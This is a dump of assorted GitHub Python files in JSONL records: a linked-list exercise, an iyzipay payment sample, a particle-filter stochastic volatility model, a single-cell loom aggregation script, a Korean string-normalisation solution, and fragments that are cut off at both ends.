\"__main__\":\n main(sys.argv[1:])\n","repo_name":"pglira/archive-images","sub_path":"archiveimages/archiveimages.py","file_name":"archiveimages.py","file_ext":"py","file_size_in_byte":11364,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"36546261117","text":"from LinkedList import LinkedList, Node, create_sample_linked_lists\nimport logging\n\nlogging.basicConfig(level=logging.INFO)\n\n\ndef nthNodeFromEnd(listhead: LinkedList, nth: int) -> int:\n \"\"\"\n\n :param listhead:\n :param nth:\n :return:\n\n TC : O(N)\n SC : O(1)\n \"\"\"\n\n if not listhead:\n\n logging.info(\"List is Empty. Nth Node is not present.\")\n\n return None\n\n # Find length of Linked List\n length = 0\n temp = listhead.head\n while temp:\n length += 1\n temp = temp.next\n\n logging.debug(\"Length of Linked List is : {}\".format(\n length\n ))\n\n if nth > length:\n\n logging.info(\"\\\"{}\\\" Node from Last is not valid as is greater then Length \\\"{}\\\" of List\".format(\n nth, length\n ))\n\n return None\n\n # Since its nth from End means length - nth + 1 from starting\n nthFromStart = length - nth + 1\n temp = listhead.head\n indexFromStart = 0\n\n while temp:\n indexFromStart += 1\n if nthFromStart == indexFromStart:\n return temp.value\n temp = temp.next\n\n\nif __name__ == '__main__':\n ll1, ll2, ll3, palindrome, ll4, ll5 = create_sample_linked_lists()\n nth = 1\n print(\"1. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))\n nth = 2\n print(\"2. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))\n nth = 3\n print(\"3. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))\n nth = 4\n print(\"4. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))\n nth = 5\n print(\"2. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))\n nth = 6\n print(\"6. For a given list \\\"{}\\\" and \\\"{}th\\\" node from end is \\\"{}\\\".\".format(\n ll1, nth, nthNodeFromEnd(ll1, nth)\n ))","repo_name":"sakshamratra0106/PracticeProblems","sub_path":"DSAPracticeSheets/LinkedList/4FindNthnodefromtheend.py","file_name":"4FindNthnodefromtheend.py","file_ext":"py","file_size_in_byte":2066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"69969057512","text":"import iyzipay\n\noptions = {\n 'api_key': iyzipay.api_key,\n 'secret_key': iyzipay.secret_key,\n 'base_url': iyzipay.base_url\n}\n\nrequest = {\n 'locale': 'tr',\n 'conversationId': '123456789',\n 'paymentTransactionId': '1'\n}\n\napproval = iyzipay.Approval().create(request, options)\n\nprint(approval.read().decode('utf-8'))\n","repo_name":"iyzico/iyzipay-python","sub_path":"samples/approve.py","file_name":"approve.py","file_ext":"py","file_size_in_byte":331,"program_lang":"python","lang":"en","doc_type":"code","stars":71,"dataset":"github-code","pt":"72"} +{"seq_id":"10239147879","text":"__author__ = 'STH'\n\nimport os\nimport json\nimport re\n\nclass JsonToObj:\n jsonPath = ''\n jsonData = {}\n def __init__(self,path=False):\n if(path and os.path.exists(path)):\n self.jsonPath = path\n\n def hasPath(self):\n return self.jsonPath and len(self.jsonPath) > 0 and os.path.exists(self.jsonPath)\n\n def validateJson(self):\n if self.hasPath():\n return True\n else:\n return False\n\n def repairJson(self):\n if self.hasPath():\n return True\n else:\n return False\n\n def loadJson(self):\n if self.validateJson():\n try:\n json_file = open(self.jsonPath)\n json_load = json.load(json_file)\n json_file.close()\n if(json_load):\n self.jsonData = json_load\n return True\n else:\n return False\n except ValueError:\n return False\n else:\n return False\n\n def makeMetaJsonFile(self):\n if self.hasPath():\n print(os.getcwd())\n os.chdir(self.jsonPath)\n print(os.getcwd())\n if not os.path.exists(\"metanote.json\"):\n open(\"metanote.json\",\"a\").close()\n return True\n else:\n return False\n else:\n return False\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","repo_name":"taylorhutchison/metanote","sub_path":"JsonToObj.py","file_name":"JsonToObj.py","file_ext":"py","file_size_in_byte":1423,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"14652956363","text":"import math\nimport torch\nimport click\nfrom torch.distributions import Normal, Categorical\n\nfrom ptvi import (\n FilteredStateSpaceModel,\n FilteredStateSpaceModelFreeProposal,\n global_param,\n AR1Proposal,\n PFProposal,\n LogNormalPrior,\n NormalPrior,\n BetaPrior,\n)\n\n\nclass FilteredStochasticVolatilityModel(FilteredStateSpaceModel):\n \"\"\" A simple stochastic volatility model for estimating with FIVO.\n\n .. math::\n x_t = exp(a)exp(z_t/2) ε_t ε_t ~ Ν(0,1)\n z_t = b + c * z_{t-1} + ν_t ν_t ~ Ν(0,1)\n \"\"\"\n\n name = \"Particle filtered stochastic volatility model\"\n a = global_param(prior=LogNormalPrior(0, 1), transform=\"log\", rename=\"α\")\n b = global_param(prior=NormalPrior(0, 1))\n c = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ψ\")\n\n def simulate(self, a, b, c):\n \"\"\"Simulate from p(x, z | θ)\"\"\"\n a, b, c = map(torch.tensor, (a, b, c))\n z_true = torch.empty((self.input_length,))\n z_true[0] = Normal(b, (1 - c ** 2) ** (-.5)).sample()\n for t in range(1, self.input_length):\n z_true[t] = b + c * z_true[t - 1] + Normal(0, 1).sample()\n x = Normal(0, torch.exp(a) * torch.exp(z_true / 2)).sample()\n return x.type(self.dtype), z_true.type(self.dtype)\n\n def conditional_log_prob(self, t, y, z, ζ):\n \"\"\"Compute log p(x_t, z_t | y_{0:t-1}, z_{0:t-1}, ζ).\n\n Args:\n t: time index (zero-based)\n y: y_{0:t} vector of points observed up to this point (which may\n actually be longer, but should only be indexed up to t)\n z: z_{0:t} vector of unobserved variables to condition on (ditto,\n array may be longer)\n ζ: parameter to condition on; should be unpacked with self.unpack\n \"\"\"\n a, b, c = self.unpack_natural(ζ)\n if t == 0:\n log_pzt = Normal(b, (1 - c ** 2) ** (-.5)).log_prob(z[t])\n else:\n log_pzt = Normal(b + c * z[t - 1], 1).log_prob(z[t])\n log_pxt = Normal(0, torch.exp(a) * torch.exp(z[t] / 2)).log_prob(y[t])\n return log_pzt + log_pxt\n\n def sample_observed(self, ζ, y, fc_steps=0):\n a, b, c = self.unpack_natural(ζ)\n z = self.sample_unobserved(ζ, y, fc_steps)\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def sample_unobserved(self, ζ, y, fc_steps=0):\n assert y is not None\n a, b, c = self.unpack_natural(ζ)\n # get a sample of states by filtering wrt y\n z = torch.empty((len(y) + fc_steps,))\n self.simulate_log_phatN(y=y, ζ=ζ, sample=z)\n # now project states forward fc_steps\n if fc_steps > 0:\n for t in range(self.input_length, self.input_length + fc_steps):\n z[t] = b + c * z[t - 1] + Normal(0, 1).sample()\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def proposal_for(self, y: torch.Tensor, ζ: torch.Tensor) -> PFProposal:\n _, b, c = self.unpack_natural(ζ)\n return AR1Proposal(μ=b, ρ=c, σ=1)\n\n def __repr__(self):\n return (\n f\"Stochastic volatility model:\\n\"\n f\"\\tx_t = exp(a * z_t/2) ε_t t=1, …, {self.input_length}\\n\"\n f\"\\tz_t = b + c * z_{{t-1}} + ν_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = b + 1/√(1 - c^2) ν_1\\n\"\n f\"\\twhere ε_t, ν_t ~ Ν(0,1)\\n\\n\"\n f\"Particle filter with {self.num_particles} particles, AR(1) proposal:\\n\"\n f\"\\tz_t = b + c * z_{{t-1}} + η_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = b + 1/√(1 - c^2) η_1\\n\"\n f\"\\twhere η_t ~ Ν(0,1)\\n\"\n )\n\n\nclass FilteredSVModelDualOpt(FilteredStateSpaceModelFreeProposal):\n \"\"\" A simple stochastic volatility model for estimating with FIVO.\n\n .. math::\n x_t = exp(a)exp(z_t/2) ε_t ε_t ~ Ν(0,1)\n z_t = b + c * z_{t-1} + ν_t ν_t ~ Ν(0,1)\n\n The proposal density is\n\n .. math::\n z_t = d + e * z_{t-1} + η_t η_t ~ Ν(0,1)\n\n The model parameter ζ covers the parameters used in the SV model, ζ={a, b, c}.\n\n The alternative parameter η covers the parameters η={d, e}.\n \"\"\"\n\n name = \"Particle filtered stochastic volatility model\"\n a = global_param(prior=LogNormalPrior(0, 1), transform=\"log\", rename=\"α\")\n b = global_param(prior=NormalPrior(0, 1))\n c = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ψ\")\n d = global_param(prior=NormalPrior(0, 1))\n e = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ρ\")\n\n def __init__(\n self,\n input_length: int,\n num_particles: int = 50,\n resample=True,\n dtype=None,\n device=None,\n ):\n super().__init__(input_length, num_particles, resample, dtype, device)\n self._md = 3\n self._pd = 2 # no σ in proposal yet\n\n def simulate(self, a, b, c):\n \"\"\"Simulate from p(y, z | θ)\"\"\"\n a, b, c = map(torch.tensor, (a, b, c))\n z_true = torch.empty((self.input_length,))\n z_true[0] = Normal(b, (1 - c ** 2) ** (-.5)).sample()\n for t in range(1, self.input_length):\n z_true[t] = b + c * z_true[t - 1] + Normal(0, 1).sample()\n y = Normal(0, torch.exp(a) * torch.exp(z_true / 2)).sample()\n return (\n y.type(self.dtype).to(self.device),\n z_true.type(self.dtype).to(self.device),\n )\n\n def conditional_log_prob(self, t, y, z, ζ):\n \"\"\"Compute log p(x_t, z_t | y_{0:t-1}, z_{0:t-1}, ζ).\n\n Args:\n t: time index (zero-based)\n y: y_{0:t} vector of points observed up to this point (which may\n actually be longer, but should only be indexed up to t)\n z: z_{0:t} vector of unobserved variables to condition on (ditto,\n array may be longer)\n ζ: parameter to condition on; should be unpacked with self.unpack\n \"\"\"\n a, b, c, = self.unpack_natural_model_parameters(ζ)\n if t == 0:\n log_pzt = Normal(b, (1 - c ** 2) ** (-.5)).log_prob(z[t])\n else:\n log_pzt = Normal(b + c * z[t - 1], 1).log_prob(z[t])\n log_pxt = Normal(0, torch.exp(a) * torch.exp(z[t] / 2)).log_prob(y[t])\n return log_pzt + log_pxt\n\n def ln_prior(self, ζ: torch.Tensor) -> float:\n a, b, c = self.unpack_natural_model_parameters(ζ)\n return (\n self.a_prior.log_prob(a)\n + self.b_prior.log_prob(b)\n + self.c_prior.log_prob(c)\n )\n\n def model_parameters(self):\n return [self.a, self.b, self.c]\n\n def proposal_parameters(self):\n return [self.d, self.e]\n\n def unpack_natural_model_parameters(self, ζ: torch.Tensor):\n α, b, ψ = ζ[0], ζ[1], ζ[2]\n return self.a_to_α.inv(α), b, self.c_to_ψ.inv(ψ)\n\n def unpack_natural_proposal_parameters(self, η: torch.Tensor):\n d, ρ = η[0], η[1]\n return d, self.e_to_ρ.inv(ρ)\n\n def simulate_log_phatN(\n self,\n y: torch.Tensor,\n ζ: torch.Tensor,\n η: torch.Tensor,\n sample: torch.Tensor = None,\n ):\n \"\"\"Apply particle filter to estimate marginal likelihood log p^(y | ζ)\n\n This algorithm is subtly different than the one in fivo.py, because it\n also takes η as a parameter.\n \"\"\"\n log_phatN = 0.\n log_N = math.log(self.num_particles)\n log_w = torch.full(\n (self.num_particles,), -log_N, dtype=self.dtype, device=self.device\n )\n Z = None\n proposal = self.proposal_for(y, η)\n for t in range(self.input_length):\n zt = proposal.conditional_sample(t, Z, self.num_particles).unsqueeze(0)\n Z = torch.cat([Z, zt]) if Z is not None else zt\n log_αt = self.conditional_log_prob(\n t, y, Z, ζ\n ) - proposal.conditional_log_prob(t, Z)\n log_phatt = torch.logsumexp(log_w + log_αt, dim=0)\n log_phatN += log_phatt\n log_w += log_αt - log_phatt\n with torch.no_grad():\n ESS = 1. / torch.exp(2 * log_w).sum()\n if self.resample and ESS < self.num_particles:\n a = Categorical(torch.exp(log_w)).sample((self.num_particles,))\n Z = (Z[:, a]).clone()\n log_w = torch.full(\n (self.num_particles,),\n -log_N,\n dtype=self.dtype,\n device=self.device,\n )\n if sample is not None:\n with torch.no_grad():\n # samples should be M * T, where M is the number of samples\n assert sample.shape[0] >= self.input_length\n idxs = Categorical(torch.exp(log_w)).sample()\n sample[: self.input_length] = Z[:, idxs]\n return log_phatN\n\n def proposal_for(self, y: torch.Tensor, η: torch.Tensor) -> PFProposal:\n \"\"\"Return the proposal distribution for the given parameters.\n\n Args:\n y: data vector\n η: proposal parameter vector\n \"\"\"\n d, e = self.unpack_natural_proposal_parameters(η)\n return AR1Proposal(μ=d, ρ=e, σ=1.)\n\n @property\n def md(self) -> int:\n \"\"\"Dimension of the model.\"\"\"\n return self._md\n\n @property\n def pd(self) -> int:\n \"\"\"Dimension of the proposal.\"\"\"\n return self._pd\n\n def sample_observed(self, ζ, y, fc_steps=0):\n a, b, c = self.unpack_natural_model_parameters(ζ[:3])\n z = self.sample_unobserved(ζ, y, fc_steps)\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def sample_unobserved(self, ζ, y, fc_steps=0):\n assert y is not None\n a, b, c = self.unpack_natural_model_parameters(ζ[:3])\n # get a sample of states by filtering wrt y\n z = torch.empty((len(y) + fc_steps,))\n self.simulate_log_phatN(y=y, ζ=ζ[:3], η=ζ[3:], sample=z)\n # now project states forward fc_steps\n if fc_steps > 0:\n for t in range(self.input_length, self.input_length + fc_steps):\n z[t] = b + c * z[t - 1] + Normal(0, 1).sample()\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def __repr__(self):\n return (\n f\"Stochastic volatility model for dual optimization of model and proposal:\\n\"\n f\"\\tx_t = exp(a * z_t/2) ε_t t=1, …, {self.input_length}\\n\"\n f\"\\tz_t = b + c * z_{{t-1}} + ν_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = b + 1/√(1 - c^2) ν_1\\n\"\n f\"\\twhere ε_t, ν_t ~ Ν(0,1)\\n\\n\"\n f\"Particle filter with {self.num_particles} particles, AR(1) proposal:\\n\"\n f\"\\tz_t = d + e * z_{{t-1}} + η_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = d + 1/√(1 - e^2) η_1\\n\"\n f\"\\twhere η_t ~ Ν(0,1)\\n\"\n )\n\n\nclass FilteredStochasticVolatilityModelFixedParams(FilteredStateSpaceModel):\n \"\"\" A simple stochastic volatility model for estimating with FIVO.\n\n .. math::\n x_t = exp(a)exp(z_t/2) ε_t ε_t ~ Ν(0,1)\n z_t = b + c * z_{t-1} + f ν_t ν_t ~ Ν(0,1)\n \"\"\"\n\n name = \"Particle filtered stochastic volatility model\"\n d = global_param(prior=NormalPrior(0, 1))\n e = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ρ\")\n f = global_param(prior=LogNormalPrior(0, 1), transform=\"log\")\n\n def __init__(\n self,\n input_length,\n num_particles,\n resample,\n a=0.5,\n b=1.,\n c=0.95,\n dtype=None,\n device=None,\n ):\n super().__init__(\n input_length=input_length,\n num_particles=num_particles,\n resample=resample,\n dtype=dtype,\n device=device,\n )\n self.a, self.b, self.c = (\n torch.tensor(x, dtype=self.dtype, device=self.device) for x in (a, b, c)\n )\n\n def simulate(self):\n \"\"\"Simulate from p(x, z | θ)\"\"\"\n z_true = torch.empty((self.input_length,), dtype=self.dtype, device=self.device)\n z_true[0] = Normal(self.b, (1 - self.c ** 2) ** (-.5)).sample()\n for t in range(1, self.input_length):\n z_true[t] = (\n self.b\n + self.c * z_true[t - 1]\n + torch.randn(1, dtype=self.dtype, device=self.device)\n )\n x = Normal(0, torch.exp(self.a) * torch.exp(z_true / 2)).sample()\n return (\n x.type(self.dtype).to(self.device),\n z_true.type(self.dtype).to(self.device),\n )\n\n def conditional_log_prob(self, t, y, z, ζ):\n \"\"\"Compute log p(x_t, z_t | y_{0:t-1}, z_{0:t-1}, ζ).\n\n Args:\n t: time index (zero-based)\n y: y_{0:t} vector of points observed up to this point (which may\n actually be longer, but should only be indexed up to t)\n z: z_{0:t} vector of unobserved variables to condition on (ditto,\n array may be longer)\n ζ: parameter to condition on; should be unpacked with self.unpack\n \"\"\"\n if t == 0:\n log_pzt = Normal(self.b, (1 - self.c ** 2) ** (-.5)).log_prob(z[t])\n else:\n log_pzt = Normal(self.b + self.c * z[t - 1], 1).log_prob(z[t])\n log_pxt = Normal(0, torch.exp(self.a) * torch.exp(z[t] / 2)).log_prob(y[t])\n return log_pzt + log_pxt\n\n def sample_observed(self, ζ, y, fc_steps=0):\n z = self.sample_unobserved(ζ, y, fc_steps)\n return Normal(0, torch.exp(self.a) * torch.exp(z / 2)).sample()\n\n def sample_unobserved(self, ζ, y, fc_steps=0):\n assert y is not None\n # get a sample of states by filtering wrt y\n z = torch.empty((len(y) + fc_steps,))\n self.simulate_log_phatN(y=y, ζ=ζ, sample=z)\n # now project states forward fc_steps\n if fc_steps > 0:\n for t in range(self.input_length, self.input_length + fc_steps):\n z[t] = self.b + self.c * z[t - 1] + Normal(0, 1).sample()\n return Normal(0, torch.exp(self.a) * torch.exp(z / 2)).sample()\n\n def proposal_for(self, y: torch.Tensor, ζ: torch.Tensor) -> PFProposal:\n d, e, f = self.unpack_natural(ζ)\n return AR1Proposal(μ=d, ρ=torch.tensor(.95, dtype=self.dtype), σ=f)\n\n def __repr__(self):\n return (\n f\"Stochastic volatility model:\\n\"\n f\"\\tx_t = exp(a * z_t/2) ε_t t=1, …, {self.input_length}\\n\"\n f\"\\tz_t = b + c * z_{{t-1}} + ν_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = b + 1/√(1 - c^2) ν_1\\n\"\n f\"\\twhere ε_t, ν_t ~ Ν(0,1)\\n\\n\"\n f\"Particle filter with {self.num_particles} particles, AR(1) proposal:\\n\"\n f\"\\tz_t = d + e * z_{{t-1}} + f η_t, t=2, …, {self.input_length}\\n\"\n f\"\\tz_1 = d + f/√(1 - e^2) η_1\\n\"\n f\"\\twhere η_t ~ Ν(0,1)\\n\"\n )\n\n\nclass FilteredStochasticVolatilityModelFreeProposal(FilteredStateSpaceModel):\n \"\"\" A simple stochastic volatility model for estimating with FIVO.\n\n .. math::\n x_t = exp(a)exp(z_t/2) ε_t ε_t ~ Ν(0,1)\n z_t = b + c * z_{t-1} + ν_t ν_t ~ Ν(0,1)\n\n The proposal density is also an AR(1):\n\n .. math::\n z_t = d + e * z_{t-1} + η_t η_t ~ Ν(0,1)\n \"\"\"\n\n name = \"Particle filtered stochastic volatility model\"\n a = global_param(prior=LogNormalPrior(0, 1), transform=\"log\", rename=\"α\")\n b = global_param(prior=NormalPrior(0, 1))\n c = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ψ\")\n d = global_param(prior=NormalPrior(0, 1))\n e = global_param(prior=BetaPrior(1, 1), transform=\"logit\", rename=\"ρ\")\n f = global_param(prior=LogNormalPrior(0, 1), transform=\"log\", rename=\"ι\")\n\n def simulate(self, a, b, c):\n \"\"\"Simulate from p(x, z | θ)\"\"\"\n a, b, c = map(torch.tensor, (a, b, c))\n z = torch.empty((self.input_length,))\n z[0] = Normal(b, (1 - c ** 2) ** (-.5)).sample()\n for t in range(1, self.input_length):\n z[t] = b + c * z[t - 1] + Normal(0, 1).sample()\n x = Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n return x.type(self.dtype).to(self.device), z.type(self.dtype).to(self.device)\n\n def conditional_log_prob(self, t, y, z, ζ):\n \"\"\"Compute log p(x_t, z_t | y_{0:t-1}, z_{0:t-1}, ζ).\n\n Args:\n t: time index (zero-based)\n y: y_{0:t} vector of points observed up to this point (which may\n actually be longer, but should only be indexed up to t)\n z: z_{0:t} vector of unobserved variables to condition on (ditto,\n array may be longer)\n ζ: parameter to condition on; should be unpacked with self.unpack\n \"\"\"\n a, b, c, _, _, _ = self.unpack_natural(ζ)\n if t == 0:\n log_pzt = Normal(b, (1 - c ** 2) ** (-.5)).log_prob(z[t])\n else:\n log_pzt = Normal(b + c * z[t - 1], 1).log_prob(z[t])\n log_pxt = Normal(0, torch.exp(a) * torch.exp(z[t] / 2)).log_prob(y[t])\n return log_pzt + log_pxt\n\n def sample_observed(self, ζ, y, fc_steps=0):\n a, _, _, _, _, _ = self.unpack_natural(ζ)\n z = self.sample_unobserved(ζ, y, fc_steps)\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def sample_unobserved(self, ζ, y, fc_steps=0):\n assert y is not None\n a, b, c, _, _, _ = self.unpack_natural(ζ)\n # get a sample of states by filtering wrt y\n z = torch.empty((len(y) + fc_steps,))\n self.simulate_log_phatN(y=y, ζ=ζ, sample=z)\n # now project states forward fc_steps\n if fc_steps > 0:\n for t in range(self.input_length, self.input_length + fc_steps):\n z[t] = b + c * z[t - 1] + Normal(0, 1).sample()\n return Normal(0, torch.exp(a) * torch.exp(z / 2)).sample()\n\n def proposal_for(self, y: torch.Tensor, ζ: torch.Tensor) -> PFProposal:\n _, _, _, d, e, f = self.unpack_natural(ζ)\n return AR1Proposal(μ=d, ρ=e, σ=f)\n\n def __repr__(self):\n return (\n f\"Stochastic volatility model with parameters {{a, b, c}}:\\n\"\n f\"\\tx_t = exp(a * z_t/2) ε_t t=1,…,{self.input_length}\\n\"\n f\"\\tz_t = b + c * z_{{t-1}} + ν_t, t=2,…,{self.input_length}\\n\"\n f\"\\tz_1 = b + 1/√(1 - c^2) ν_1\\n\"\n f\"\\twhere ε_t, ν_t ~ Ν(0,1)\\n\\n\"\n f\"Filter with {self.num_particles} particles; AR(1) proposal params {{d, e, f}}:\\n\"\n f\"\\tz_t = d + e * z_{{t-1}} + f η_t, t=2,…,{self.input_length}\\n\"\n f\"\\tz_1 = d + f/√(1 - e^2) η_1\\n\"\n f\"\\twhere η_t ~ Ν(0,1)\\n\"\n )\n\n\n@click.command(\"sim-filtered-sv-model\")\n@click.argument(\"t\") # , help='Input length to simulate')\n@click.option(\"--a\", default=1., help=\"True a parameter value\")\n@click.option(\"--b\", default=0., help=\"True b parameter value\")\n@click.option(\"--c\", default=.95, help=\"True c parameter value\")\n@click.option(\"--particles\", default=1000, help=\"Number of particles\")\n@click.option(\"--double/--single\", default=False, help=\"Use double or single precision\")\n@click.option(\"--gpu/--cpu\", default=True, help=\"Use GPU (if available) or CPU\")\n@click.option(\"--maxiter\", default=2 ** 12, help=\"Maximum iterations for optimization\")\n@click.option(\"--dual/--single\", default=False, help=\"Use dual optimization\")\n@click.option(\"--bayes/--point\", default=False, help=\"Use probabilistic model\")\n@click.option(\"--stopping\", default=\"sup\", help=\"Stopping rule: null/exp/sup\")\n@click.option(\"--dataseed\", default=123, help=\"Seed for generating data\")\n@click.option(\"--algoseed\", default=123, help=\"Seed for running algorithm\")\n@click.option(\"--fileprefix\", default=\"sv-sim\", help=\"File prefix for plots and output\")\ndef sim(\n t,\n a,\n b,\n c,\n particles,\n double,\n gpu,\n maxiter,\n dual,\n bayes,\n stopping,\n dataseed,\n algoseed,\n fileprefix,\n):\n \"\"\"This script simulates T observations from a filtered stochastic volatility model\n and attempts to fit the model using VI.\"\"\"\n import matplotlib\n\n matplotlib.use(\"Agg\")\n import matplotlib.pyplot as plt\n import ptvi\n from time import time\n\n starttime = time()\n\n T = int(t)\n\n dtype = torch.float64 if double else torch.float32\n use_device = \"cuda\" if torch.cuda.is_available() and gpu else \"cpu\"\n device = torch.device(use_device)\n click.echo(f\"Using {dtype} arithmetic on {use_device}.\")\n\n params = dict(a=a, b=b, c=c)\n click.echo(f\"True parameters: a={a}, b={b}, c={c}\")\n\n click.echo(f\"Writing plots to {fileprefix}-*.pdf\")\n\n if dual:\n model = FilteredSVModelDualOpt(\n input_length=T,\n num_particles=particles,\n resample=True,\n dtype=dtype,\n device=device,\n )\n opt = ptvi.dual_sgvb if bayes else ptvi.dual_stoch_opt\n else:\n model = FilteredStochasticVolatilityModelFreeProposal(\n input_length=T,\n num_particles=particles,\n resample=True,\n dtype=dtype,\n device=device,\n )\n opt = ptvi.sgvb if bayes else ptvi.stoch_opt\n click.echo(repr(model))\n\n torch.manual_seed(dataseed)\n y, z_true = model.simulate(**params)\n\n plt.subplot(211)\n plt.plot(y.cpu().numpy(), label=\"y\")\n plt.title(\"Simulated observed data\")\n plt.legend()\n plt.subplot(212)\n plt.plot(z_true.cpu().numpy(), label=\"true z\")\n plt.legend()\n plt.title(\"Simulated log volatility\")\n plt.tight_layout()\n plt.savefig(f\"{fileprefix}-data.pdf\", papertype=\"a4r\")\n\n torch.manual_seed(algoseed)\n trace = ptvi.PointEstimateTracer(model)\n\n stopping_type = {\n \"null\": ptvi.NullStoppingHeuristic,\n \"exp\": ptvi.ExponentialStoppingHeuristic,\n \"sup\": ptvi.SupGrowthStoppingHeuristic,\n }[stopping]\n\n fit = opt(model, y, tracer=trace, stop_heur=stopping_type(), max_iters=maxiter)\n\n click.echo(fit.summary(true=params))\n\n plt.subplot(1, 1, 1)\n trace.plot_objectives()\n plt.savefig(f\"{fileprefix}-objectives.pdf\", papertype=\"a4r\")\n\n trace.plot(figsize=[8, 10])\n plt.savefig(f\"{fileprefix}-trace.pdf\", papertype=\"a4r\")\n\n click.echo(f\"Script completed in {time() - starttime:.2f}s.\")\n","repo_name":"kuperov/ptvi","sub_path":"ptvi/models/filtered_sv_model.py","file_name":"filtered_sv_model.py","file_ext":"py","file_size_in_byte":22425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"11780512674","text":"import loompy\nimport scvelo as scv\nimport pandas as pd\nimport numpy as np\nimport anndata as ad\nimport os\nfrom scipy import sparse as sp\nimport sys\n\nloom_data = scv.read(sys.argv[1], cache=False)\nloom_data.obs\n\n#鏋勫缓鍚堝苟鐨刲oom鏂囦欢\n\n#鎻愬彇鍧愭爣\nB=int(sys.argv[2])\nn=len(loom_data.obs)\nloom_data.obs['X']=np.zeros((n,1),dtype = int)\nloom_data.obs['Y']=np.zeros((n,1),dtype = int)\nfor i in range(0,n):\n loom_data.obs['X'][i]=int( int(loom_data.obs_names[i].split(\":\")[1].split(\"_\")[0])/B)\n loom_data.obs['Y'][i]=int( int(loom_data.obs_names[i].split(\":\")[1].split(\"_\")[1][:-1])/B)\n\nloom_data.obs['ID']=loom_data.obs['X'].map(str)+\"_\"+loom_data.obs['Y'].map(str)\n\n#鎻愬彇鍚堝苟鏁版嵁\nd={}\nn=0\nfor j in ['matrix', 'ambiguous', 'spliced', 'unspliced']: \n df=pd.DataFrame()\n for i in set(loom_data.obs.ID):\n temp=loom_data[loom_data.obs.ID==i].to_df(layer=j)\n temp2=temp.apply(lambda x:x.sum()) \n temp2.name=i\n df=df.append(temp2)\n d[n]=df\n n+=1\n\n#鏋勫缓鏂扮殑loom\nobs = pd.DataFrame(d[0].index,index=d[0].index,columns=['cell_ID'])\nloc = obs['cell_ID'].str.split('_', 1, expand=True).astype(int)\nloc.columns = ['cx', 'cy']\nobs = pd.merge(obs, loc, how='left', left_index=True, right_index=True)\n\nloom_new=ad.AnnData(d[0],obs=obs,var=loom_data.var,layers={'matrix':d[0],'ambiguous':d[1],'spliced':d[2],'unspliced':d[3]})\n\nloom_new.write(\"1.h5ad\")\n\n\n","repo_name":"hanyuefuqu8/ST_upland_rice","sub_path":"velocity/anndata_generator.py","file_name":"anndata_generator.py","file_ext":"py","file_size_in_byte":1430,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"2240112863","text":"# 신규 아이디 추천\r\n# https://programmers.co.kr/learn/courses/30/lessons/72410\r\n\r\ndef solution(new_id):\r\n answer = ''\r\n # 1 : 소문자 변경\r\n new_id = new_id.lower()\r\n\r\n # 2 : 영어 소문자, 숫자, -, _, . 만 answer에 추가\r\n for c in new_id:\r\n if c.isalpha() or c.isdigit() or c in ['-', '_', '.']:\r\n answer += c\r\n\r\n # 3 : .. 두번 연속된 경우 . 하나로 replace\r\n while '..' in answer:\r\n answer = answer.replace('..', '.')\r\n\r\n # 4 : 맨 처음, 맨 뒤에 .이 있는 경우 제거\r\n if answer[0] == '.':\r\n answer = answer[1:] if len(answer) > 1 else '.'\r\n if answer[-1] == '.':\r\n answer = answer[:-1]\r\n\r\n # 5 : 공백인 경우 a 로 채워줌\r\n if answer == '':\r\n answer = 'a'\r\n\r\n # 6 : 문자열 길이가 15 이상일 경우 cut, 마지막 문자열 . 제거\r\n if len(answer) > 15:\r\n answer = answer[:15]\r\n if answer[-1] == '.':\r\n answer = answer[:-1]\r\n\r\n # 7 : 문자열 길이가 3 ��하일 경우 마지막 문자열 반복\r\n while len(answer) < 3:\r\n answer += answer[-1]\r\n return answer","repo_name":"yurileeeee/Algorithm","sub_path":"Programmers/level 1/72410.py","file_name":"72410.py","file_ext":"py","file_size_in_byte":1150,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"20163617825","text":"import logging\nfrom typing import Optional\n\nimport feedparser\nfrom fastapi import HTTPException\nfrom feedparser import FeedParserDict\n\nlogger = logging.getLogger(__name__)\n\n\nclass RSSFeedFetcher:\n def __init__(self, feed_url: str) -> None:\n self._feed_url = feed_url\n\n \"\"\"\n Not implemented any retry mechanism, even on wrong url, it return data\n with empty entries.\n raise exception on wrong url on bozo\n \"\"\"\n\n def fetch_feed(self) -> 